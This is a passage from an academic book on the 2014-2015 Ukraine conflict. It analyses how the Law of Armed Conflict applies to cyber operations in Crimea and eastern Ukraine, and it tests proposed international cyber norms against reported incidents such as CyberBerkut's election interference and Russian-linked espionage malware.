sovereignty and the existing borders of Ukraine . The 1997 Treaty on Friendship, Cooperation, and Partnership between Russia and Ukraine was to guarantee the inviolability of the borders between both states. See also: Marxsen, Crimea Crisis, 4-5. Charter of the United Nations, San Francisco, 26 June 1945, Article 2(4). See also: Deeks. What International Law Says. troops were sent to Crimea to secure strategic sites, block Ukrainian troops, and essentially force them to leave the peninsula. States can take measures in response to violations of international law. In this case the European Union and the United States imposed sanctions on Russia. Could Russia s actions be seen as an armed attack, in which case Ukraine would have had the right to use force in self-defence?26 Like use of force armed attack is not defined in the UN Charter; in essence, a state determines on a case-by-case basis whether it considers an attack against it as an armed attack . A violent attack with military forces resulting in damage and casualties would certainly be seen as an armed attack. In the case of Crimea, however, hardly a shot was fired. On the other hand, it is difficult to argue that Ukraine would not have the right to use force to drive Russian troops out of Crimea.27 Irrespective this analysis of the legal basis of the intervention in Crimea, what would be the legal regime for the operations conducted by the parties to the conflict, including the cyber operations? Did the situation qualify as an international armed conflict where the Law of Armed Conflict applies? The criterion here is that it relates to hostilities between nation-states. In Crimea, however, the situation was unclear. Firstly, there was no fighting, although the threshold for armed is low.28 Secondly, Russia denied the troops present were theirs and referred to them as local self-defence groups . However, reports indicated the active involvement of Russian troops29 and, eventually, Putin admitted that Russian troops were present.30 Even in the event that only local forces were active, a situation of international armed conflict could still prevail if they were acting under Russia s control. The Law of Armed Conflict also applies in a situation of a total or partial The Law of Armed Conflict occupation, even if the occupation did not applies in a situation of meet armed resistance.31 Occupation is a total or partial occupation. hostile substitution of territorial power and authority .32 This is precisely the case in Crimea, where Russia exercises territorial control without the consent of the Ukrainian Government. Charter of the United Nations, Article 51. Deeks. What International Law Says. Any difference arising between two States and leading to the intervention of members of the armed forces is an armed conflict within the meaning of Article 2, even if one of the Parties denies the existence of a state of war. It makes no difference how long the conflict lasts, or how much slaughter takes place. The respect due to the human person as such is not measured by the number of victims , ICRC Commentary to the Geneva Conventions of 1949, 20-21. For example: Ukrainian and Russian troops in standoff at Crimean military base As it happened , The Guardian, 3 March 2014, http://www.theguardian.com/world/2014/mar/02/ukraine-warns-russia-crimea-war-live; and Russian troops storm Ukrainian bases in Crimea , BBC News, 22 March 2014, http://www.bbc.com/news/world-europe-26698754 Putin Admits Russian Troop Role in Crimea Annexation , Voice of America, 17 November 2014, http://www.voanews.com/ content/putin-admits-russian-troop-role-in-crimea-annexation/2523186.html; Putin admits Russian forces were deployed to Crimea , Reuters, 17 April 2014, http://uk.reuters.com/article/2014/04/17/russia-putin-crimea-idUKL6N0N921H20140417. Geneva Conventions, 12 August 1949, Common Article 2. Hague Regulations: Regulations concerning the Laws and Customs of War on Land, 18 October 1907, Article 42. See also: Jorritsma, Legal Consequences. 3.3 Hostilities in Eastern Ukraine (April 2014 Present) Following the annexation of Crimea, the world s attention was quickly drawn to the onset of hostilities in eastern Ukraine. Protesters from the Russian speaking minority in the cities of Donetsk, Luhansk, and Kharkiv occupied government buildings and called for independence.33 Pro-Russian separatist groups emerged. The Ukrainian authorities responded by starting an anti-terrorist operation . On 17 April, the first violent deaths occurred in eastern Ukraine; in the Black Sea city of Odessa, 42 people died in clashes. On 11 May, Donetsk and Luhansk declared themselves to be independent republics. Petro Poroshenko was elected President of Ukraine on 25 May, but this poll could not be held in large parts of the conflict-ridden east. A cease-fire agreement,34 signed in Minsk on 5 September 2014, collapsed when fighting started again in January 2015. A second agreement signed in the capital of Belarus on 11 February, Minsk II, provided for a ceasefire, the withdrawal of heavy weapons from the front line, a release of prisoners of war, and constitutional reform in Ukraine.35 This second agreement has also been violated, although currently, in September 2015, the situation seems to have calmed down. NATO reported the active involvement of Russian troops in eastern Ukraine,36 but Russia has consistently denied involvement. Cyber operations have continued throughout the conflict. In May 2014, cyber means were used in an attempt to disrupt the presidential elections, including an effort to falsify the outcome. CyberBerkut may have taken part and some analysts believe that Russia was behind it.37 In August 2014, hackers conducted a DDoS attack against Ukraine s election commission website, just prior to the parliamentary polls.38 There are numerous publicly-known examples of intelligence gathering through cyber means, all of which reportedly have a Russian connection. In the Summer of 2014, the Blackenergy spyware was used against Ukrainian government institutions.39 In August, the Snake malware was employed against the Ukrainian Prime Minister s Office, as well as a number of foreign embassies.40 In April 2015, Lookinglass reported on a Russian campaign to extract classified documents from Ukrainian military and law enforcement agencies in an effort to support pro-Russian military Ukraine crisis: Timeline , BBC News, accessed 1 August 2015, http://www.bbc.com/news/world-middle-east-26248275. Protocol on the results of consultations of the Trilateral Contact Group, Minsk, 5 September 2014, http://mfa.gov.ua/en/newsfeeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014. Ukraine ceasefire: New Minsk agreement key points , BBC News, 12 February 2015, http://www.bbc.com/news/world-europe-31436513. See for example: NATO Commander: Conditions in Eastern Ukraine Have to Change , OPB, 6 February 2015, http://www. opb.org/news/article/npr-nato-commander-conditions-in-eastern-ukraine-have-to-change/, and Nato urges Russia to stop fuelling Ukraine conflict , The Irish Times, 15 April 2015, http://www.irishtimes.com/news/world/europe/nato-urges-russiato-stop-fuelling-ukraine-conflict-1.2176718. Mark Clayton. Ukraine election narrowly avoided wanton destruction from hackers (+video) , The Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video. Hackers attack Ukraine election website , Presstv, 25 October 2014, http://www.presstv.ir/detail/2014/10/25/383623/ukraines-election-website-hacked/. See also: Vitaly Shevchenko, Ukraine conflict: Hackers take sides in virtual war , BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069. David Gilbert. BlackEnergy Cyber Attacks Against Ukrainian Government Linked to Russia , International Business Times, 26 September 2014, http://www.ibtimes.co.uk/blackenergy-cyber-attacks-against-ukrainian-governm)ent-linked-russia-1467401. Sam Jones. Russia-linked cyber attack on Ukraine PM s office , CNBC, 8 August 2014, http://www.cnbc.com/id/101905588. operations in Ukraine.41 ISight Partners reported that Russian Sandworm hackers used a zero-day vulnerability to hack NATO and Ukraine in a cyber espionage campaign.42 The list of targets was not confined to Ukrainian sites. In January 2015, CyberBerkut claimed responsibility for a cyber attack on German Government sites, demanding that Germany end its support to the Ukrainian government.43 On the pro-Ukraine side, the Ukrainian Cyber Troops reportedly claimed to have hacked into Russian interior ministry servers and CCTV cameras in separatist-controlled eastern Ukraine.44 3.3.1 Legal Analysis The International Committee of the Red Cross (ICRC) has characterised the situation in eastern Ukraine as a non-international armed conflict ,45 a situation in which hostilities occur between governmental armed forces and non-governmental organised armed groups, or between such organised armed groups. The two requirements are a certain degree of organisation of the non-governmental groups and the existence of protracted armed violence .46 The conflict in Eastern Ukraine does in fact reach a high level of violence over a longer period of time, and the separatists do in fact have a high degree of organisation. Although Russia has consistently denied involvement, there continues to be widespread belief to the contrary, suggesting that Moscow actively supports the Donetsk and Luhansk separatists, including by sending Russian military forces as volunteers to the area. If Russia actively participates or exercises overall control over the separatists, the conflict could be considered an international armed conflict. To meet the criterion of overall control , a state must not only finance, train, equip, or provide operational support to local forces, but also have a role in organising, coordinating, and planning their operations.47 However, for the purpose of this chapter, the conflict in eastern Ukraine is considered to be a non-international armed conflict. This analysis results in a situation where different legal regimes apply simultane41 Aarti Shahani. Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine , NPR, 28 April 2015, http://www.npr.org/ sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine. Ellen Nakashima. Russian hackers use zero-day to hack NATO, Ukraine in cyber-spy campaign , The Washington Post, 13 October 2014, http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukraine-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html. Michelle Martin and Erik Kirschbaum. Pro-Russian group claims cyber attack on German government websites , Reuters, 7 January 2015, http://www.reuters.com/article/2015/01/07/us-germany-cyberattack-idUSKBN0KG15320150107. The Daily Beast: Ukraine s lonely cyber warrior, KyivPost, 18 February 2015, http://www.kyivpost.com/content/ukraine-abroad/the-daily-beast-ukraines-lonely-cyber-warrior-381094.html, and Vitaly Shevchenko, Ukraine conflict: Hackers take sides in virtual war , BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069. Fighting in eastern Ukraine continues to take its toll on civilians, and we urge all sides to comply with international humanitarian law, otherwise known as the law of armed conflict , said Mr Stillhart. These rules and principles apply to all parties to the non-international armed conflict in Ukraine, and impose restrictions on the means and methods of warfare that they may use [in Ukraine] : ICRC calls on all sides to respect international humanitarian law, ICRC News Release 14/125, 23 July 2014. Non-international armed conflicts are armed conflicts not of an international character occurring in the territory of one of the High Contracting Parties, Geneva Conventions, Common Article 3. The criterion protracted armed violence stems from Tadi , Decision on the Defence Motion for Interlocutory Appeal, para 70, International Criminal Tribunal for the Former Yugoslavia, 2 October 1995. Overall control is addressed in: Tadi , Appeals Chamber judgment, International Criminal Tribunal for the Former Yugoslavia, 15 July 1999, para 132, 137, 141, and 145. See also: Tallinn Manual, 79-82. ously. The Law of Armed Conflict pursuant to international armed conflicts applies to the occupation of Crimea. Eastern Ukraine is a national issue in which the law pursuant to non-international armed conflicts applies. There is a crucial difference. During an international armed conflict, the Law of Armed Conflict applies to the full extent; during a non-international armed conflict, minimum rules apply.48 An example is that in an international armed conflict, combatants captured by the enemy are entitled to Prisoner of War (PoW) status. In a non-international armed conflict, the combatant s status is unknown; belligerents have to be treated well, but the extensive rules that protect PoWs do not apply. However, many rules of international armed conflict are customary law and apply also in a non-international armed conflict, as we will see with respect to cyber operations. Legal Implications for Cyber Operations in Ukraine The conflict started as an internal matter, the protests at Maidan Square, to an unlawful intervention and occupation of Crimea, culminating in the non-international armed conflict in eastern Ukraine. During the first phase, the Euromaidan protests, the cyber incidents were a law enforcement issue. For example, the defacement of websites and DDoS attacks restricting the use of internet services violated Ukrainian criminal law and could have been prosecuted in Ukrainian courts.49 Malicious cross-border cyber activities, involving both Ukraine and other countries, would fall under the criminal jurisdiction of Ukraine and the affected countries. During the occupation of Crimea and the armed conflict in eastern Ukraine, the Law of Armed Conflict applies. It regulates the conduct of all actors in the conDuring the Euromaidan flict, including the cyber actors. Hereafter, protests, cyber incidents were first the status of the different cyber actors a law enforcement issue. will be discussed; after that the cyber operations we have seen in the Ukraine conflict will be evaluated from the perspective of the Law of Armed Conflict. 4.1 Actors in Cyberspace In an international armed conflict, belligerents that qualify as combatants enjoy combatant immunity, meaning they cannot be prosecuted for taking part in hostilities (except These minimum rules are formulated in Common Article 3 of the Geneva Conventions, and in Additional Protocol II to the Geneva Conventions. The rules laid down in that protocol apply to a conflict within a state that is party to the Protocol between the armed forces of that state and dissident armed forces or organised armed groups that control sufficient territory so as to enable them to carry out sustained and concerted military operations , Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of Non-International Armed Conflicts (Protocol II), 8 June 1977, Article 1(1). Ukraine is party to Additional Protocol II, and the separatists do control significant territory. Ukraine is Party to the Convention on Cybercrime (Budapest, 2001). The Convention aims to harmonise cybercrime legislation and facilitate information exchange and international cooperation in the area of prosecution of cybercrimes. States that are party to the convention are obliged to incorporate certain violations in their national laws: illegal access illegal interception data interference system interference , and misuse of devices for war crimes) and, on capture, have PoW status. These rules also apply during occupation, as in Crimea. Most cyber actors in Crimea were nominally non-state actors, for example the pro-Russian hacker group CyberBerkut. If such a group were an integrated part of Russia s military forces, they would be combatants. If not, they could nevertheless be considered combatants if they were part of an organised armed group, belonging to a party to the conflict, when they fulfil the following conditions: (a) being commanded by a person responsible for his subordinates; (b) having a fixed distinctive sign recognisable at a distance; (c) carrying arms openly; and (d) conducting their operations in accordance with the laws and customs of war.50 These criteria are important to distinguish combatants from civilians. It is unlikely that non-state hacker groups, also those active in the Ukraine crisis, meet all these criteria, especially when they are only virtually organised, only in contact through the internet. Hackers or hacker groups who are non-combatants are to be regarded civilians. However, if they are directly participating in hostilities , they lose their protection as civilians and can be targeted by the opposing party. Three criteria have to be met to be regarded civilians directly participating in hostilities. 51 First, there has to be a certain amount of harm ; the act must be likely to adversely affect the military operations or military capacity of [the adversary] or [ ] to inflict death, injury or destruction on persons or objects protected against direct attack .52 Second, there has to be a causal connexion between the acts and the harm inflicted. Third, there has to be a belligerent nexus , meaning that the operations must be intended to affect the adversary military operations. Harm can also be inflicted by cyber operations, and does not necessarily have to include physical damage. In the case of CyberBerkut and other active hacker groups the effects probably did not reach the threshold of harm In non-international armed conflicts, like in eastern Ukraine, combatant immunity does not exist. Whether or not belligerents especially non-state armed groups have immunity, will be determined based on domestic law. Certain cyber operations will be illegal based on domestic law. Civilians have protected status, but as in international armed conflicts, when they are directly participating in hostilities they lose that protected status. 4.2 Information Operations During the conflict in Ukraine, cyber was mainly used for information warfare and intelligence gathering not to damage cyber or critical infrastructure. Irrespective their effects, cyber operations are very often called cyber attack. It is important to note that, in the context of international and non-international armed conflicts, attack has a very specific meaning. Attacks means acts of violence against the adversary, whether in offence or in defence. 53 Whether or not an operation qualifies as attack is crucial Geneva Convention (III), 12 August 1949, Article 4, para A(2). ICRC Interpretive guidance on the notion of Direct Participation in hostilities under international humanitarian law, May 2009. ICRC Interpretive guidance, 47. Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of International Armed Conflicts (Protocol I), 8 June 1977, Article 49(1). because the law imposes prohibitions and restrictions with respect to attacks, for example the prohibition to attack civilians, civilian objects, and medical installations, and the requirement to take precautions before conducting an attack. Not every cyber operation that affects the adversary is an attack. A cyber operation that constitutes an act of violence however, is an attack. The Tallinn Manual defines a cyber attack as cyber operation, whether offensive or defensive, that is reasonably expected to cause injury or death to persons or damage or destruction to objects. 54 This interpretation of the current law restricts cyber attacks to acts that have physical consequences. If the parties to the conflict in Ukraine would have used cyber to inflict physical damage, injuries, or death, or to support kinetic operations, those cyber operations would be (cyber) attacks and subject to the relevant prohibitions and restrictions. Most of the cyber activities in Ukraine however are information operations and do not meet the attack threshold. Information operations, as such, are not directly addressed in the Law of Armed Conflict. Information operations, Whether they would be in violation of the law basically depends on the content of the message. as such, are not directly One example would be disseminating a threataddressed in the Law of ening message with the purpose to spread terror Armed Conflict. among the civilian population.55 The disruption of elections, that took place in Ukraine, definitely violated domestic law, and when conducted or supported by another state, could also have been a breach of international law, but was not a violation of the Law of Armed Conflict. 4.3 Cyber Espionage During the conflict in Ukraine, cyber means have been used to gather intelligence including Snake, Blackenergy, and Sandworm. Intelligence gathering and espionage are not forbidden by international law. Espionage, in the context of the Law of Armed Conflict, has a narrow scope: it refers to operations that are conducted clandestinely or under false pretences, taking place on territory controlled by the adversary; behind enemy lines .56 For instance, a close access cyber operation where an agent is gaining access to servers being used by the adversary by feigning a false identity and extracting information by using a thumb drive, could be espionage. An agent captured before reaching his own troops has no PoW status and can be tried as a spy. Gathering intelligence from a distance is not espionage in the meaning of the Law of Armed Conflict. Snake, Blackenergy, and Sandworm reportedly have a Russian connection. If Russia or another state would be actively supporting the separatists in eastern Ukraine by providing intelligence, that would not necessarily internationalise the conflict. Mere operational support does not meet the overall control threshold.57 Tallinn Manual, 106. Protocol I, Article 51(2), and Protocol II, Article 13(2). Tallinn Manual, 192-193. Tallinn Manual, 81. Conclusions International law applies to cyberspace. During armed conflict, the Law of Armed Conflict applies to any cyber operation conducted in association with the hostilities. Until now, we have not seen a case where cyber hostilities between parties by themselves constituted an armed conflict. Rather, they have remained as one part of a larger, traditional conflict. This dynamic has not changed during the conflict in Ukraine. This chapter describes the international legal framework for the conflict in Ukraine and the cyber operations that have been conducted in association with that conflict. The legal situation is somewhat unclear due to diverging views on various aspects of the crisis, such as the annexation of Crimea and the alleged involvement of Russian military forces in eastern Ukraine. Another aspect that complicates a legal evaluation is that cyber operations are often conducted by non-state actors, whose status and affiliation are not always clear. The protests at Maidan Square turned violent, but they were not an armed conflict ; they were an internal law enforcement matter. The annexation of Crimea led to the peninsula s occupation by Russia, but Russia disputes that interpretation. During an occupation, the Law of Armed Conflict applies. Eastern Ukraine can today be considered a non-international armed conflict, where cyber operations must be conducted in accordance with the minimum safeguards the Law of Armed Conflict provides for such situations. In the Ukraine conflict, the publicly Cyber operations are often known cyber operations have not genconducted by non-state erally been considered to be sophistiactors, whose status and affil- cated likely not corresponding to the real national capabilities of Russia and iation are not always clear. Ukraine. The prevailing assumption is that, with the exception of some advanced cyber espionage malware such as Snake, the known cyber attacks could have been conducted by non-state actors. These hackers or hacker groups, trying to affect the adversary s military activities, are participating in hostilities and have to conduct their operations in accordance with the Law of Armed Conflict. At the end of the day, cyber operations in the Ukraine conflict have been used either to gather intelligence or as part of an ongoing information war between the parties. They were not launched to inflict damage to infrastructure and other military capabilities. As a result, most of these cyber operations have not yet risen to the level of activities proscribed or even governed by the Law of Armed Conflict. That would be different when cyber would be more integrated in kinetic warfare operations. Chapter 15 The Ukraine Crisis as a Test for Proposed Cyber Norms Henry R igas NATO CCD COE Introduction In international forums, governments, academia, and the private sector have strenuously argued that states must agree on existing or develop a set of international norms for conflict in cyberspace. Our current environment is characterised by a steep rise in the development of offensive cyber tools and tactics as well as a general disagreement on when and where it is appropriate to use them. The overall result is a popular perception of a weakened international security environment that threatens to devolve into an anarchic Hobbesian world of all against all . Against this backdrop, there have been urgent calls for greater investment in cyber diplomacy.1 The term norm has become someThe term norm has become what of a buzzword in these discussions used to argue that states should adhere somewhat of a buzzword. to certain rules of behaviour with regard to conducting cyber operations. This chapter will thus first describe the nature of cyber norms and then discuss the primary developments in the global arena. The author s focus will be on the proposed cyber norms of behaviour that would have a politically binding character, and will avoid discussing existing international law See, for example, developments in the United Nations: http://www.un.org/disarmament/topics/informationsecurity/, and The Council of the European Union s conclusions on cyber diplomacy: http://data.consilium.europa.eu/doc/document/ST-61222015-INIT/en/pdf. (legal norms)2 as well as the challenges of practical implementation of the these norms. Finally, this chapter will analyse the Ukraine crisis in light of these proposals, and attempt to assess their rationality and applicability. The Russo-Ukrainian conflict, in theory, offers a suitable case study in that there has been ample room for malicious state-sponsored cyber activities: first, nation-states perceived as having considerable cyber capabilities not only Russia and Ukraine, but also surrounding nations and the member states of NATO are involved, at least indirectly; and second, the crisis has both endured and evolved from the Euromaidan street protests to the Russian annexation of Crimea to open, armed conflict in eastern Ukraine. Proposed Political Cyber Norms In international relations, norms are often defined as collective expectations of proper behaviour for an actor with a given identity ,3 which is broad enough that states (and other stakeholders) use the term to put forward a wide range of proposals in diplomatic forums. This chapter takes a simplified approach, limiting its scope to (1) legal and (2) political norms: the proper behaviour of states is comprehenNorms reflect the internasively regulated by international law (i.e. tional community s expeclegal norms such as treaties, international tations, set standards for customs, and general principles of interresponsible State behaviour. national law)4 and through cyber diplomacy in the form of political or non-legally binding agreements. The United Nations Group of Governmental Experts (UN GGE) has explained the nature of these politically binding instruments by stating that norms reflect the international community s expectations, set standards for responsible State behaviour and allow the international community to assess the activities and intentions of States . The problem, of course, is that breaches of such political norms only give rise to political, non-legal consequences.5 There has been some agreement between nation states on setting international cyber norms . In 2013, the UN published an accord, written by a GGE including representatives from the US, UK, China, and Russia, expressing consensus on the For a discussion on the role of legal cyber norms, see Michael N. Schmitt and Liis Vihul. The Nature of International Law Cyber Norms, Tallinn Papers, no. 6 (2014), https://ccdcoe.org/sites/default/files/multimedia/pdf/Tallinn%20Paper%20No%20 %205%20Schmitt%20and%20Vihul.pdf. See Martha Finnemore and Kathryn Sikkink. International Norm Dynamics and Political Change, International Organization 52, no. 4 (October 1, 1998): 887 917. See sources of international law listed in the Statute of the International Court of Justice (ICJ), Article 38. Some have also used the terms hard and soft law in this context, see Dinah Shelton. Normative Hierarchy in International , The American Journal of International Law 100, no. 2 (April 1, 2006): 291 323. For a concept listing policy responses to cyber incidents, see Tobias Feakin. Developing a Proportionate Response to a Cyber Incident Council on Foreign Relations, August 2015, http://www.cfr.org/cybersecurity/developing-proportionate-response-cyber-incident/p36927. basic notion that existing international law applies to cyberspace. 6 In 2015, the same forum published another report7 which delved into greater detail, but the GGE has previously not elaborated on precisely how to apply existing laws (legal norms) to the nuanced field of cyber security. The reports did state, however, that the unique attributes of information and communications technology (ICTs) could demand the creation of altogether new norms. The fairly general agreement expressed in the reports can be viewed both as the lowest common denominator between the world s key cyber powers and as a manifestation of a general lack of clarity in this new geopolitical arena. Meanwhile academia has to some degree filled the void, actively addressing the applicability of existing international law,8 although work in the area of state practice and interpretation has been relatively limited. In the context of norms restraining state behaviour, existing international law such as the prohibition on the use of force and the law of armed conflict (LOAC) are highly relevant and indispensable, but it is likely that additional norms political rather than legal will be developed by the international community over time. Two somewhat opposing approaches to these new political norms will be addressed below. One group of nations acting as norm entrepreneurs 9 seems to aim for a treaty-level agreement to govern state activities in cyberspace. Member nations of the Shanghai Cooperation Organisation (SCO)10 have proposed a Code of Conduct for International Information Security11 to the UN. In parallel, Russia has developed (in 2011) a separate concept for a Convention on International Information Security12 which covers, to a large extent, the same territory. These proposed instruments do not apply the prefix cyber when addressing ICT-related issues; instead, the focus is on preserving information security which represents a broad conceptualisation of the threat environment and the scope of limited state activities.13 According to SCO s own agreement on information security (the Yekaterinburg Agreement of 2009)14 and the aforementioned Convention proposal by Russia (2011), information war entails, in addition to damaging information systems and critical infrastructures (which is often the Western scope of United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Telecommunications in the Context of International Security, A/69/723, 2013, http://www.un.org/ga/search/view_doc.asp?symbol=A/68/98. United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Telecommunications in the Context of International Security, A/70/174, 2015, http://daccess-dds-ny.un.org/doc/UNDOC/GEN/ N15/228/35/PDF/N1522835.pdf?OpenElement. See the Tallinn Manual process: https://ccdcoe.org/research.html. See Finnemore and Sikkink. International Norm Dynamics and Political Change, October 1, 1998. Member States of the SCO are China, Kazakhstan, Kyrgyzstan, Russia, Tajikistan, and Uzbekistan. United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyrgyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015, https://ccdcoe.org/sites/default/files/documents/UN-150113-CodeOfConduct.pdf. The Ministry of Foreign Affairs of the Russian Federation. Convention on International Information Security (Concept), 2011, http://www.mid.ru/bdomp/ns-osndoc.nsf/1e5f0de28fe77fdcc32575d900298676/7b17ead7244e2064c3257925003bcbcc!OpenDocument. See, for example, James A. Lewis. Liberty, Equality, Connectivity: Transatlantic Cybersecurity Norms, Strategic Technologies Program (Center For Strategic and International Studies, 2014), 6. Annex 1of SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Cooperation in the Field of International Information Security. actions when the term cyber security is used), also psychologic brainwashing to destabilise society and state , signalling that for them the threat also stems from content and information itself.15 The Code of Conduct puts a strong emphasis on the principle of information sovereignty,16 arguing that states should not use ICTs and information and communication networks to interfere in the internal affairs of other states or with the aim of undermining their political, economic and social stability . It asks states to refrain from activities which run counter to the task of maintaining international peace and security and highlights a state s responsibility to protect information space and critical information infrastructure against damage resulting from threats, interference, attack and sabotage . Further, it includes a section that prohibits states from using dominant position in ICTs to engage in the aforementioned activities. In terms of international cooperation, the Code seeks to curb the disDocuments demonsemination of information that incites terrorstrate the ambition of ism, separatism or extremism SCO members to see a These documents demonstrate the ambitreaty-level agreement. tion of the SCO members to see an eventual treaty-level agreement. However, if the Code of Conduct would actually be adopted in the current form, it could not be considered as a source of international law (a legal instrument) since the norms are of a politically binding character due their aspirational and non-compulsory nature.17 The Code of Conduct has not been put to a vote as adoption at the UN is highly unlikely due to opposition from many liberal democracies. An alternative strategy, promoted initially by the US, is to strengthen international cyber security through voluntary norms of behaviour that pertain during peacetime.18 According to this logic, most cyber operations fall below the use of force threshold, which means that An alternative strategy most of the existing legal norms regulating is to strengthen interinterstate cyber operations are not suffinational cyber security cient.19 During the height of the cyber incithrough voluntary norms. dents in Ukraine, the US promoted the fol15 See, for example, Keir Giles. Russia s Public Stance on Cyberspace Issues, in 2012 4th International Conference on Cyber Conflict, ed. Christian Czosseck, Rain Ottis, and Katharina Ziolkowski (NATO CCD COE Publication, 2012), http://www.ccdcoe. org/publications/2012proceedings/2_1_Giles_RussiasPublicStanceOnCyberInformationWarfare.pdf. See the Chinese viewpoint in Lu Wei. Cyber Sovereignty Must Rule Global Internet, The Huffington Post, December 15, 2014, http://www.huffingtonpost.com/lu-wei/china-cyber-sovereignty_b_6324060.html. Schmitt and Vihul. The Nature of International Law Cyber Norms, States supporting this view strongly emphasise the applicability of existing international law and see that these norms should voluntary measures of self-restraint during peacetime, see Christopher M. E. Painter. Testimony of Christopher M. E. Painter, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecurity: Setting the Rules for Responsible Global Behaviour, 2015, http://www.foreign.senate.gov/imo/media/doc/051415_Painter_Testimony.pdf. Ibid., 8 9. Also, see Tallinn Manual 2.0 process focusing on international law applicable to cyber operations that do not mount to an use of force or do not take place during armed conflict, https://ccdcoe.org/research.html . lowing four norms of which the first three were included in the recent UN GGE report:20 (1) states should not conduct or knowingly support online activity that damages or impairs critical infrastructure (norm 1); (2) states should not conduct or knowingly support activity intended to prevent the national Computer Security Incidents Response Teams (CSIRTs or CERTs) from responding to cyber incidents, nor use CSIRTs to do harm (norm 2); (3) states should cooperate with other states in investigating cybercrime by collecting electronic evidence and mitigating cyber activity emanating from its territory (norm 3); and (4) states should not conduct or knowingly support cyber-enabled theft of commercially valuable intellectual property (norm 4). Before we move on, it is important to note that these and other cyber norms have been analysed in academic circles21 as well as in the private sector. For example, Microsoft has recommended six cybersecurity norms designed to limit the proliferation of cyber weapons and offensive operations in cyberspace.22 Observations from Ukraine: Hints of State-sponsored Operations The attribution of cyber attacks is notoriously difficult. In order to discover state-sponsored operations, one can only speculate based upon inconclusive indicators such as target, malware, motive, and complexity. In Ukraine, some advanced cyber espionage tools such as Turla/Snake/Ourobours and Sandworm have not only been linked to the conflict, but also associated with an Advanced Persistent Threat (APT) actor (i.e. nation-state), likely Russia.23 At the same time, analysts have argued that most of the cyber attack methods in Ukraine such as DDoS attacks and defacements have been technically unsophisticated. Thus, on balance, the complexity criterion appears unmet. Painter. Testimony of Christopher M. E. Painter, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecurity: Setting the Rules for Responsible Global Behaviour. For example, drawing parallels with state obligations during crises on the sea, a duty to assist victims of severe cyberattacks (an e-SOS) has been proposed by Duncan B. Hollis in An E-SOS for Cyberspace, Harvard International Law Journal 52, no. 2 (2011), http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1670330. Angela McKay et al., International Cybersecurity Norms. Reducing Conflict in an Internet-Dependent World (Microsoft, 2015), http://download.microsoft.com/download/7/6/0/7605D861-C57A-4E23-B823-568CFC36FD44/International_Cybersecurity_%20Norms.pdf. See, for example, Suspected Russian Spyware Turla Targets Europe, United States, Reuters, March 7, 2014, http://www.reuters. com/article/2014/03/07/us-russia-cyberespionage-insight-idUSBREA260YI20140307; Zero Day Vulnerability CVE-20144114 Used in Cyber-Espionage, iSIGHT Partners, October 21, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/. Actions attributed to hacktivist groups raise questions regarding possible coordination with state entities. Actions attributed to hacktivist groups also raise questions regarding possible coordination with state entities. For example, Ukrainian officials reported that, even when the hacktivist group CyberBerkut failed to compromise Ukraine s online election system and only managed to present fake election results on the election s website for a very brief period, a Russian state-owned TV channel still displayed these results immediately.24 In another incident, CyberBerkut allegedly leaked the recording of a phone call between Estonian Minster of Foreign Affairs Urmas Paet and European Union (EU) High Representative for Foreign Affairs and Security Policy Catherine Ashton, suggesting that Cyber Berkut either possesses sophisticated cyber capabilities or has links to Russian intelligence services.25 Here, we must remember SCO s focus on information security , as opposed to cyber security , and in fact many analysts believe that both Russia26 and Ukraine27 are conducting information operations within the context of the ongoing conflict in eastern Ukraine. The internet is a natural terrain for these operations;28 the reported troll factories in St. Petersburg creating pro-Russian comments for online new media serve as prominent examples.29 Which Norms of Behaviour Were Followed? Thus, there are two dominant ongoing conversations relative to the creation of political cyber norms: (1) the information security norms proposed by the SCO, and (2) the voluntary norms of behaviour in peacetime (initially promoted by the US). This section will analyse the known cyber incidents in Ukraine in the context of these two normative frameworks. Mark Clayton. Ukraine Election Narrowly Avoided Wanton Destruction from Hackers, Christian Science Monitor, June 17, 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video. Ewen MacAskill. Ukraine Crisis: Bugged Call Reveals Conspiracy Theory about Kiev Snipers, The Guardian, March 5, 2014, http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet; Trend Micro, Hacktivist Group CyberBerkut Behind Attacks on German Official Websites, Security Intelligence Blog, http://blog.trendmicro.com/ trendlabs-security-intelligence/hacktivist-group-cyberberkut-behind-attacks-on-german-official-websites/. NATO StratCom Centre of Excellence, Analysis of Russia s Information Campaign Against Ukraine, October 15, 2014, http:// www.stratcomcoe.org/download/file/fid/1910. Maksim Vikhrov. Ukraine Forms Ministry of Truth to Regulate the Media, The Guardian, December 19, 2014, http://www. theguardian.com/world/2014/dec/19/-sp-ukraine-new-ministry-truth-undermines-battle-for-democracy. Maeve Shearlaw. From Britain to Beijing: How Governments Manipulate the Internet, The Guardian, April 2, 2015, http:// www.theguardian.com/world/2015/apr/02/russia-troll-factory-kremlin-cyber-army-comparisons. Dmitry Volchek and Daisy Sindelar. One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, March 25, 2015, sec. Russia, 